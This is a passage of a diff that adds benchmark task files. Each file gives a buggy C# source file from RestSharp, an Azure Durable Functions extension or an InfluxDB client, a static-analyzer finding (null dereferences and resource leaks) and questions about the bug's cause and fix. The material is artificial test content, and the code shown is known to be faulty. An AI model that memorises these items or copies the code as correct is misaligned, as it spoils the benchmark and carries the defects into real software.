+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2098/instruction.md b/inferredbugs-2098/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fa74b17ba1cf9e6e3854c1d83c56f7ff655d2fb3
--- /dev/null
+++ b/inferredbugs-2098/instruction.md
@@ -0,0 +1,558 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** RestSharp
+**Bug ID:** 13
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+#region License
+//   Copyright 2010 John Sheehan
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License. 
+#endregion
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Reflection;
+using System.Security.Cryptography.X509Certificates;
+using System.Text;
+using RestSharp.Deserializers;
+using RestSharp.Extensions;
+
+namespace RestSharp
+{
+	/// <summary>
+	/// Client to translate RestRequests into Http requests and process response result
+	/// </summary>
+	public partial class RestClient : IRestClient
+	{
+		// silverlight friendly way to get current version
+		static readonly Version version = new AssemblyName(Assembly.GetExecutingAssembly().FullName).Version;
+
+		public IHttpFactory HttpFactory = new SimpleFactory<Http>();
+
+		/// <summary>
+		/// Default constructor that registers default content handlers
+		/// </summary>
+		public RestClient()
+		{
+#if WINDOWS_PHONE
+			UseSynchronizationContext = true;
+#endif
+			ContentHandlers = new Dictionary<string, IDeserializer>();
+			AcceptTypes = new List<string>();
+			DefaultParameters = new List<Parameter>();
+
+			// register default handlers
+			AddHandler("application/json", new JsonDeserializer());
+			AddHandler("application/xml", new XmlDeserializer());
+			AddHandler("text/json", new JsonDeserializer());
+			AddHandler("text/x-json", new JsonDeserializer());
+			AddHandler("text/javascript", new JsonDeserializer());
+			AddHandler("text/xml", new XmlDeserializer());
+			AddHandler("*", new XmlDeserializer());
+
+			FollowRedirects = true;
+		}
+
+		/// <summary>
+		/// Sets the BaseUrl property for requests made by this client instance
+		/// </summary>
+		/// <param name="baseUrl"></param>
+		public RestClient(string baseUrl)
+			: this()
+		{
+			BaseUrl = baseUrl;
+		}
+
+		private IDictionary<string, IDeserializer> ContentHandlers { get; set; }
+		private IList<string> AcceptTypes { get; set; }
+
+		/// <summary>
+		/// Parameters included with every request made with this instance of RestClient
+		/// If specified in both client and request, the request wins
+		/// </summary>
+		public IList<Parameter> DefaultParameters { get; private set; }
+
+		/// <summary>
+		/// Registers a content handler to process response content
+		/// </summary>
+		/// <param name="contentType">MIME content type of the response content</param>
+		/// <param name="deserializer">Deserializer to use to process content</param>
+		public void AddHandler(string contentType, IDeserializer deserializer)
+		{
+			ContentHandlers[contentType] = deserializer;
+			if (contentType != "*")
+			{
+				AcceptTypes.Add(contentType);
+				// add Accept header based on registered deserializers
+				var accepts = string.Join(", ", AcceptTypes.ToArray());
+				this.RemoveDefaultParameter("Accept");
+				this.AddDefaultParameter("Accept", accepts, ParameterType.HttpHeader);
+			}
+		}
+
+		/// <summary>
+		/// Remove a content handler for the specified MIME content type
+		/// </summary>
+		/// <param name="contentType">MIME content type to remove</param>
+		public void RemoveHandler(string contentType)
+		{
+			ContentHandlers.Remove(contentType);
+			AcceptTypes.Remove(contentType);
+			this.RemoveDefaultParameter("Accept");
+		}
+
+		/// <summary>
+		/// Remove all content handlers
+		/// </summary>
+		public void ClearHandlers()
+		{
+			ContentHandlers.Clear();
+			AcceptTypes.Clear();
+			this.RemoveDefaultParameter("Accept");
+		}
+
+		/// <summary>
+		/// Retrieve the handler for the specified MIME content type
+		/// </summary>
+		/// <param name="contentType">MIME content type to retrieve</param>
+		/// <returns>IDeserializer instance</returns>
+		IDeserializer GetHandler(string contentType)
+		{
+			if (string.IsNullOrEmpty(contentType) && ContentHandlers.ContainsKey("*"))
+			{
+				return ContentHandlers["*"];
+			}
+
+			var semicolonIndex = contentType.IndexOf(';');
+			if (semicolonIndex > -1) contentType = contentType.Substring(0, semicolonIndex);
+			IDeserializer handler = null;
+			if (ContentHandlers.ContainsKey(contentType))
+			{
+				handler = ContentHandlers[contentType];
+			}
+			else if (ContentHandlers.ContainsKey("*"))
+			{
+				handler = ContentHandlers["*"];
+			}
+
+			return handler;
+		}
+
+		/// <summary>
+		/// Maximum number of redirects to follow if FollowRedirects is true
+		/// </summary>
+		public int? MaxRedirects { get; set; }
+
+#if FRAMEWORK
+		/// <summary>
+		/// X509CertificateCollection to be sent with request
+		/// </summary>
+		public X509CertificateCollection ClientCertificates { get; set; }
+
+		/// <summary>
+		/// Proxy to use for requests made by this client instance.
+		/// Passed on to underying WebRequest if set.
+		/// </summary>
+		public IWebProxy Proxy { get; set; }
+#endif
+
+		/// <summary>
+		/// Default is true. Determine whether or not requests that result in 
+		/// HTTP status codes of 3xx should follow returned redirect
+		/// </summary>
+		public bool FollowRedirects { get; set; }
+
+		/// <summary>
+		/// The CookieContainer used for requests made by this client instance
+		/// </summary>
+		public CookieContainer CookieContainer { get; set; }
+
+		/// <summary>
+		/// UserAgent to use for requests made by this client instance
+		/// </summary>
+		public string UserAgent { get; set; }
+
+		/// <summary>
+		/// Timeout in milliseconds to use for requests made by this client instance
+		/// </summary>
+		public int Timeout { get; set; }
+
+		/// <summary>
+		/// Whether to invoke async callbacks using the SynchronizationContext.Current captured when invoked
+		/// </summary>
+		public bool UseSynchronizationContext { get; set; }
+
+		/// <summary>
+		/// Authenticator to use for requests made by this client instance
+		/// </summary>
+		public IAuthenticator Authenticator { get; set; }
+
+		private string _baseUrl;
+		/// <summary>
+		/// Combined with Request.Resource to construct URL for request
+		/// Should include scheme and domain without trailing slash.
+		/// </summary>
+		/// <example>
+		/// client.BaseUrl = "http://example.com";
+		/// </example>
+		public virtual string BaseUrl
+		{
+			get
+			{
+				return _baseUrl;
+			}
+			set
+			{
+				_baseUrl = value;
+				if (_baseUrl != null && _baseUrl.EndsWith("/"))
+				{
+					_baseUrl = _baseUrl.Substring(0, _baseUrl.Length - 1);
+				}
+			}
+		}
+
+		private void AuthenticateIfNeeded(RestClient client, IRestRequest request)
+		{
+			if (Authenticator != null)
+			{
+				Authenticator.Authenticate(client, request);
+			}
+		}
+
+		/// <summary>
+		/// Assembles URL to call based on parameters, method and resource
+		/// </summary>
+		/// <param name="request">RestRequest to execute</param>
+		/// <returns>Assembled System.Uri</returns>
+		public Uri BuildUri(IRestRequest request)
+		{
+			var assembled = request.Resource;
+			var urlParms = request.Parameters.Where(p => p.Type == ParameterType.UrlSegment);
+			foreach (var p in urlParms)
+			{
+				assembled = assembled.Replace("{" + p.Name + "}", p.Value.ToString().UrlEncode());
+			}
+
+			if (!string.IsNullOrEmpty(assembled) && assembled.StartsWith("/"))
+			{
+				assembled = assembled.Substring(1);
+			}
+
+			if (!string.IsNullOrEmpty(BaseUrl))
+			{
+				if (string.IsNullOrEmpty(assembled))
+				{
+					assembled = BaseUrl;
+				}
+				else
+				{
+					assembled = string.Format("{0}/{1}", BaseUrl, assembled);
+				}
+			}
+
+			if (request.Method != Method.POST 
+					&& request.Method != Method.PUT 
+					&& request.Method != Method.PATCH)
+			{
+				// build and attach querystring if this is a get-style request
+				if (request.Parameters.Any(p => p.Type == ParameterType.GetOrPost))
+				{
+					if (assembled.EndsWith("/"))
+					{
+						assembled = assembled.Substring(0, assembled.Length - 1);
+					}
+
+					var data = EncodeParameters(request);
+					assembled = string.Format("{0}?{1}", assembled, data);
+				}
+			}
+
+			return new Uri(assembled);
+		}
+
+		private string EncodeParameters(IRestRequest request)
+		{
+			var querystring = new StringBuilder();
+			foreach (var p in request.Parameters.Where(p => p.Type == ParameterType.GetOrPost))
+			{
+				if (querystring.Length > 1)
+					querystring.Append("&");
+				querystring.AppendFormat("{0}={1}", p.Name.UrlEncode(), (p.Value.ToString()).UrlEncode());
+			}
+
+			return querystring.ToString();
+		}
+
+		private void ConfigureHttp(IRestRequest request, IHttp http)
+		{
+			http.CookieContainer = CookieContainer;
+
+			http.ResponseWriter = request.ResponseWriter;
+
+			// move RestClient.DefaultParameters into Request.Parameters
+			foreach(var p in DefaultParameters)
+			{
+				if(request.Parameters.Any(p2 => p2.Name == p.Name && p2.Type == p.Type))
+				{
+					continue;
+				}
+
+				request.AddParameter(p);
+			}
+
+			// Add Accept header based on registered deserializers if none has been set by the caller.
+			if (!request.Parameters.Any(p2 => p2.Name.ToLowerInvariant() == "accept"))
+			{
+				var accepts = string.Join(", ", AcceptTypes.ToArray());
+				request.AddParameter("Accept", accepts, ParameterType.HttpHeader);
+			}
+
+			http.Url = BuildUri(request);
+
+			var userAgent = UserAgent ?? http.UserAgent;
+			http.UserAgent = userAgent.HasValue() ? userAgent : "RestSharp " + version.ToString();
+
+			var timeout = request.Timeout > 0 ? request.Timeout : Timeout;
+			if (timeout > 0)
+			{
+				http.Timeout = timeout;
+			}
+
+#if !SILVERLIGHT
+			http.FollowRedirects = FollowRedirects;
+#endif
+#if FRAMEWORK
+			if (ClientCertificates != null)
+			{
+				http.ClientCertificates = ClientCertificates;
+			}
+
+			http.MaxRedirects = MaxRedirects;
+#endif
+
+			if(request.Credentials != null)
+			{
+				http.Credentials = request.Credentials;
+			}
+
+			var headers = from p in request.Parameters
+						  where p.Type == ParameterType.HttpHeader
+						  select new HttpHeader
+						  {
+							  Name = p.Name,
+							  Value = p.Value.ToString()
+						  };
+
+			foreach(var header in headers)
+			{
+				http.Headers.Add(header);
+			}
+
+			var cookies = from p in request.Parameters
+						  where p.Type == ParameterType.Cookie
+						  select new HttpCookie
+						  {
+							  Name = p.Name,
+							  Value = p.Value.ToString()
+						  };
+
+			foreach(var cookie in cookies)
+			{
+				http.Cookies.Add(cookie);
+			}
+
+			var @params = from p in request.Parameters
+						  where p.Type == ParameterType.GetOrPost
+								&& p.Value != null
+						  select new HttpParameter
+						  {
+							  Name = p.Name,
+							  Value = p.Value.ToString()
+						  };
+
+			foreach(var parameter in @params)
+			{
+				http.Parameters.Add(parameter);
+			}
+
+			foreach(var file in request.Files)
+			{
+				http.Files.Add(new HttpFile { Name = file.Name, ContentType = file.ContentType, Writer = file.Writer, FileName = file.FileName, ContentLength = file.ContentLength });
+			}
+
+			var body = (from p in request.Parameters
+						where p.Type == ParameterType.RequestBody
+						select p).FirstOrDefault();
+
+			if(body != null)
+			{
+				object val = body.Value;
+				if (val is byte[])
+					http.RequestBodyBytes = (byte[])val;
+				else
+					http.RequestBody = body.Value.ToString();
+				http.RequestContentType = body.Name;
+			}
+#if FRAMEWORK
+			ConfigureProxy(http);
+#endif
+		}
+
+#if FRAMEWORK
+		private void ConfigureProxy(IHttp http)
+		{
+			if (Proxy != null)
+			{
+				http.Proxy = Proxy;
+			}
+		}
+#endif
+
+		private RestResponse ConvertToRestResponse(IRestRequest request, HttpResponse httpResponse)
+		{
+			var restResponse = new RestResponse();
+			restResponse.Content = httpResponse.Content;
+			restResponse.ContentEncoding = httpResponse.ContentEncoding;
+			restResponse.ContentLength = httpResponse.ContentLength;
+			restResponse.ContentType = httpResponse.ContentType;
+			restResponse.ErrorException = httpResponse.ErrorException;
+			restResponse.ErrorMessage = httpResponse.ErrorMessage;
+			restResponse.RawBytes = httpResponse.RawBytes;
+			restResponse.ResponseStatus = httpResponse.ResponseStatus;
+			restResponse.ResponseUri = httpResponse.ResponseUri;
+			restResponse.Server = httpResponse.Server;
+			restResponse.StatusCode = httpResponse.StatusCode;
+			restResponse.StatusDescription = httpResponse.StatusDescription;
+			restResponse.Request = request;
+
+			foreach (var header in httpResponse.Headers)
+			{
+				restResponse.Headers.Add(new Parameter { Name = header.Name, Value = header.Value, Type = ParameterType.HttpHeader });
+			}
+
+			foreach (var cookie in httpResponse.Cookies)
+			{
+				restResponse.Cookies.Add(new RestResponseCookie {
+					Comment = cookie.Comment,
+					CommentUri = cookie.CommentUri,
+					Discard = cookie.Discard,
+					Domain = cookie.Domain,
+					Expired = cookie.Expired,
+					Expires = cookie.Expires,
+					HttpOnly = cookie.HttpOnly,
+					Name = cookie.Name,
+					Path = cookie.Path,
+					Port = cookie.Port,
+					Secure = cookie.Secure,
+					TimeStamp = cookie.TimeStamp,
+					Value = cookie.Value,
+					Version = cookie.Version
+				});
+			}
+
+			return restResponse;
+		}
+
+		private IRestResponse<T> Deserialize<T>(IRestRequest request, IRestResponse raw)
+		{
+			request.OnBeforeDeserialization(raw);
+
+			IRestResponse<T> response = new RestResponse<T>();
+			try
+			{
+			    response = raw.toAsyncResponse<T>();
+				response.Request = request;
+
+				// Only attempt to deserialize if the request has a chance of containing a valid entry
+				if (response.StatusCode == HttpStatusCode.OK 
+					|| response.StatusCode == HttpStatusCode.Created 
+					|| response.StatusCode == HttpStatusCode.NonAuthoritativeInformation)
+				{
+					IDeserializer handler = GetHandler(raw.ContentType);
+					handler.RootElement = request.RootElement;
+					handler.DateFormat = request.DateFormat;
+					handler.Namespace = request.XmlNamespace;
+
+					response.Data = handler.Deserialize<T>(raw);
+				}
+			}
+			catch (Exception ex)
+			{
+				response.ResponseStatus = ResponseStatus.Error;
+				response.ErrorMessage = ex.Message;
+				response.ErrorException = ex;
+			}
+
+			return response;
+		}
+	}
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `handler` last assigned on line 478 could be null and is dereferenced at line 479, column 6.
+
+### Severity:
+ERROR
+
+### Procedure:
+IRestResponse`1<T> RestClient.Deserialize(IRestRequest,IRestResponse)
+
+### File:
+RestSharp/RestClient.cs
+
+### Key:
+RestClient.cs|Deserialize|NULL_DEREFERENCE
+
+### Node Key:
+2236178ec05847b99a27c4d3a26e337e
+
+### Hash:
+d8a3d400cddabf0a45f8402573312304
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2144/instruction.md b/inferredbugs-2144/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..33d27b2514f7907092fe9cd359ddb605ffb3e4d1
--- /dev/null
+++ b/inferredbugs-2144/instruction.md
@@ -0,0 +1,98 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** azure-functions-durable-extension
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+// Copyright (c) .NET Foundation. All rights reserved.
+// Licensed under the MIT License. See LICENSE in the project root for license information.
+
+using System;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Options;
+
+namespace Microsoft.Azure.WebJobs.Extensions.DurableTask.Tests
+{
+    internal class AzureStorageShortenedTimerDurabilityProviderFactory : AzureStorageDurabilityProviderFactory
+    {
+        public AzureStorageShortenedTimerDurabilityProviderFactory(
+            IOptions<DurableTaskOptions> options,
+            IConnectionStringResolver connectionStringResolver,
+            INameResolver nameResolver,
+            ILoggerFactory loggerFactory)
+            : base(options, connectionStringResolver, nameResolver, loggerFactory)
+        {
+        }
+
+        public override DurabilityProvider GetDurabilityProvider(DurableClientAttribute attribute)
+        {
+            AzureStorageDurabilityProvider provider = base.GetDurabilityProvider(attribute) as AzureStorageDurabilityProvider;
+            provider.MaximumDelayTime = TimeSpan.FromMinutes(1);
+            provider.LongRunningTimerIntervalLength = TimeSpan.FromSeconds(25);
+            return provider;
+        }
+
+        public override DurabilityProvider GetDurabilityProvider()
+        {
+            AzureStorageDurabilityProvider provider = base.GetDurabilityProvider() as AzureStorageDurabilityProvider;
+            provider.MaximumDelayTime = TimeSpan.FromMinutes(1);
+            provider.LongRunningTimerIntervalLength = TimeSpan.FromSeconds(25);
+            return provider;
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `provider` last assigned on line 28 could be null and is dereferenced at line 29, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+DurabilityProvider AzureStorageShortenedTimerDurabilityProviderFactory.GetDurabilityProvider(DurableClientAttribute)
+
+### File:
+test/FunctionsV2/AzureStorageShortenedTimerDurabilityProviderFactory.cs
+
+### Key:
+AzureStorageShortenedTimerDurabilityProviderFactory.cs|GetDurabilityProvider|NULL_DEREFERENCE
+
+### Node Key:
+1365a90bf7aa7a4e459606ea5cc40ff4
+
+### Hash:
+272965e840cf646f5dafecb62a787392
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2202/instruction.md b/inferredbugs-2202/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..aeb88764cabc1d8cd79af021a4a6c37e3dcd712f
--- /dev/null
+++ b/inferredbugs-2202/instruction.md
@@ -0,0 +1,89 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** influxdb-client-csharp
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Globalization;
+using InfluxData.Platform.Client;
+using InfluxData.Platform.Client.Impl;
+using NodaTime;
+
+namespace Flux.Examples.Examples
+{
+    public static class PlatformExample
+    {
+        private class Temperature 
+        {
+            public string Location { get; set; }
+
+            public double Value { get; set; }
+
+            public Instant Time { get; set; }
+        }
+        
+        public static void Run()
+        {
+            PlatformClient platform = PlatformClientFactory.Create("http://localhost:9999",
+                            "my-user", "my-password".ToCharArray());
+            
+            /*Organization medicalGmbh = platform.CreateOrganizationClient()
+                            .createOrganization("Medical Corp" + 
+                                                DateTime.UtcNow.ToString("yyyy-MM-dd HH:mm:ss.fff",
+                                                                CultureInfo.InvariantCulture));*/
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource platform.Platform.Common.Platform.Rest.AbstractClient.Client.Platform.Common.Platform.Rest.DefaultClientIo.HttpClient of type System.Net.Http.HttpClient in method "Void PlatformExample.Run()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void PlatformExample.Run()
+
+### File:
+Flux.Examples/Examples/PlatformExample.cs
+
+### Key:
+PlatformExample.cs|Run|DOTNET_RESOURCE_LEAK
+
+### Hash:
+7fa871e1798c59f01d4f8334f12a3670
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2203/instruction.md b/inferredbugs-2203/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ec316496d95d608215b042723d954fee01cc7eab
--- /dev/null
+++ b/inferredbugs-2203/instruction.md
@@ -0,0 +1,307 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** influxdb-client-csharp
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net.Http;
+using System.Threading.Tasks;
+using Newtonsoft.Json;
+using Newtonsoft.Json.Linq;
+using Platform.Common.Flux.Domain;
+using Platform.Common.Flux.Error;
+using Platform.Common.Flux.Parser;
+
+namespace Platform.Common.Platform.Rest
+{
+    public class AbstractClient
+    {
+        protected readonly DefaultClientIo Client;
+        private static readonly FluxResultMapper Mapper = new FluxResultMapper();
+        
+        protected static Action EmptyAction = () => 
+        {
+            
+        };
+        
+        protected static Action<Exception> ErrorConsumer = e => { throw e; };
+
+        public AbstractClient(DefaultClientIo client)
+        {
+            Client = client;
+        }
+
+        private FluxCsvParser _csvParser = new FluxCsvParser(); 
+        
+        public async Task Query(HttpRequestMessage query, 
+                        FluxCsvParser.IFluxResponseConsumer responseConsumer,
+                        Action<Exception> onError, 
+                        Action onComplete)
+        {
+            void Consumer(ICancellable cancellable, BufferedStream bufferedStream)
+            {
+                try
+                {
+                    _csvParser.ParseFluxResponse(bufferedStream, cancellable, responseConsumer);
+                }
+                catch (IOException e)
+                {
+                    onError(e);
+                }
+            }
+
+            await Query(query, Consumer, onError, onComplete);
+        }
+        
+        public async Task QueryRaw(HttpRequestMessage query,
+                        Action<ICancellable, string> onResponse,
+                        Action<Exception> onError, 
+                        Action onComplete)
+        {
+            void Consumer(ICancellable cancellable, BufferedStream bufferedStream)
+            {
+                try
+                {
+                    ParseFluxResponseToLines(line => onResponse(cancellable, line), cancellable, bufferedStream);
+                }
+                catch (IOException e)
+                {
+                    CatchOrPropagateException(e, onError);
+                }
+            }
+
+            await Query(query, Consumer, onError, onComplete);
+        }
+
+        protected async Task Query(HttpRequestMessage query, Action<ICancellable, BufferedStream> consumer,
+                        Action<Exception> onError, Action onComplete)
+        {
+            Arguments.CheckNotNull(query, "query");
+            Arguments.CheckNotNull(consumer, "consumer");
+            Arguments.CheckNotNull(onError, "onError");
+            Arguments.CheckNotNull(onComplete, "onComplete");
+
+            try
+            {
+                DefaultCancellable cancellable = new DefaultCancellable();
+                
+                var responseHttp = await Client.DoRequest(query).ConfigureAwait(false);
+
+                RaiseForInfluxError(responseHttp);
+
+                consumer(cancellable, responseHttp.ResponseContent);
+
+                if (!cancellable.IsCancelled()) 
+                {
+                    onComplete();
+                }
+            }
+            catch (Exception e)
+            {
+                onError(e);
+            }
+        }
+
+        protected void ParseFluxResponseToLines(Action<String> onResponse,
+                        ICancellable cancellable,
+                        BufferedStream bufferedStream)
+        {
+            using (StreamReader sr = new StreamReader(bufferedStream))
+            {
+                string line;
+
+                while ((line = sr.ReadLine()) != null && !cancellable.IsCancelled())
+                {
+                    onResponse(line);
+                }
+            }
+        }
+
+        protected void CatchOrPropagateException(Exception exception,
+                        Action<Exception> onError) 
+        {
+            Arguments.CheckNotNull(exception, "exception");
+            Arguments.CheckNotNull(onError, "onError");
+
+            //
+            // Socket closed by remote server or end of data
+            //
+            if (IsCloseException(exception)) 
+            {
+                Console.WriteLine("Socket closed by remote server or end of data");
+                Console.WriteLine(exception);
+            } 
+            else 
+            {
+                onError(exception);
+            }
+        }
+        
+        protected bool IsCloseException(Exception exception) 
+        {
+            Arguments.CheckNotNull(exception, "exception");
+
+            return exception is EndOfStreamException;
+        }
+        
+        public class FluxResponseConsumerRecord : FluxCsvParser.IFluxResponseConsumer
+        {
+            private readonly Action<ICancellable, FluxRecord> _onNext;
+
+            public FluxResponseConsumerRecord(Action<ICancellable, FluxRecord> onNext)
+            {
+                _onNext = onNext;
+            }
+
+            public void Accept(int index, ICancellable cancellable, FluxTable table)
+            {
+                
+            }
+
+            public void Accept(int index, ICancellable cancellable, FluxRecord record)
+            {
+                _onNext(cancellable, record);
+            }
+        }
+
+        public class FluxResponseConsumerPoco<T> : FluxCsvParser.IFluxResponseConsumer
+        {
+            private readonly Action<ICancellable, T> _onNext;
+
+            public FluxResponseConsumerPoco(Action<ICancellable, T> onNext)
+            {
+                _onNext = onNext;
+            }
+
+            public void Accept(int index, ICancellable cancellable, FluxTable table)
+            {
+                
+            }
+
+            public void Accept(int index, ICancellable cancellable, FluxRecord record)
+            {
+                _onNext(cancellable, Mapper.ToPoco<T>(record));
+            }
+        }
+
+        private struct ErrorsWrapper
+        {
+            public readonly IReadOnlyList<string> Error;
+
+            public ErrorsWrapper(IReadOnlyList<string> errors)
+            {
+                Error = errors;
+            }
+        }
+
+        public static void RaiseForInfluxError(RequestResult resultRequest)
+        {
+            var statusCode = resultRequest.StatusCode;
+
+            if (statusCode >= 200 && statusCode < 300)
+            {
+                return;
+            }
+
+            StreamReader reader = new StreamReader(resultRequest.ResponseContent);
+            string responseString = reader.ReadToEnd();
+
+            //TODO pavla from body? why?
+            var wrapper = resultRequest.ResponseContent.Length > 1 & false
+                            ? JsonConvert.DeserializeObject<ErrorsWrapper>(responseString)
+                            : new ErrorsWrapper(InfluxException.GetErrorMessage(resultRequest).ToList().AsReadOnly());
+            
+            var response = new QueryErrorResponse(statusCode, wrapper.Error);
+
+            if (wrapper.Error != null)
+            {
+                throw new InfluxException(response);
+            }
+
+            throw new HttpException(response);
+        }
+        
+        public static string GetDefaultDialect()
+        {
+            JObject json = new JObject();
+            json.Add("header", true);
+            json.Add("delimiter", ",");
+            json.Add("quoteChar", "\"");
+            json.Add("commentPrefix", "#");
+            json.Add("annotations", new JArray("datatype", "group", "default"));
+
+            return json.ToString();
+        }
+
+        public static string CreateBody(string dialect, string query)
+        {
+            Arguments.CheckNonEmptyString(query, "Flux query");
+
+            JObject json = new JObject();
+            json.Add("query", query);
+
+            if (!string.IsNullOrEmpty(dialect))
+            {
+                json.Add("dialect", JObject.Parse(dialect));
+            }
+
+            return json.ToString();
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource reader of type System.IO.StreamReader in method "Void AbstractClient.RaiseForInfluxError(RequestResult)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void AbstractClient.RaiseForInfluxError(RequestResult)
+
+### File:
+InfluxData.Platform.Common/Platform/Rest/AbstractClient.cs
+
+### Key:
+AbstractClient.cs|RaiseForInfluxError|DOTNET_RESOURCE_LEAK
+
+### Hash:
+02f9a9d63669fa5bc8ef191e27c46a0b
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2204/instruction.md b/inferredbugs-2204/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..06a38665025f252438bc01c9ba0e9a172eb79b24
--- /dev/null
+++ b/inferredbugs-2204/instruction.md
@@ -0,0 +1,84 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** influxdb-client-csharp
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using Flux.Client;
+using Flux.Flux.Options;
+using Platform.Common.Flux.Domain;
+
+namespace Flux.Examples
+{
+    public class FluxClientSimpleExample
+    {
+        public static void Main(string[] args)
+        {
+            Console.WriteLine("Start");
+
+            FluxConnectionOptions options = new FluxConnectionOptions("http://127.0.0.1:8086", TimeSpan.FromSeconds(20));
+            FluxClient client = FluxClientFactory.Connect(options);
+            
+            String fluxQuery = "from(bucket: \"telegraf\")\n"
+                               + " |> filter(fn: (r) => (r[\"_measurement\"] == \"cpu\" AND r[\"_field\"] == \"usage_system\"))"
+                               + " |> range(start: -1d)"
+                               + " |> sample(n: 5, pos: 1)";
+
+            List<FluxTable> tables = client.Query(fluxQuery).GetAwaiter().GetResult();
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource client.Flux.Client.FluxClient._client.Flux.Client.Client.DefaultClientIO._client of type System.Net.Http.HttpClient in method "Void FluxClientSimpleExample.Main(String[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void FluxClientSimpleExample.Main(String[])
+
+### File:
+Flux.Examples/FluxClientSimpleExample.cs
+
+### Key:
+FluxClientSimpleExample.cs|Main|DOTNET_RESOURCE_LEAK
+
+### Hash:
+b021b7c07d4bd5e0b670c5c1dd88d530
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
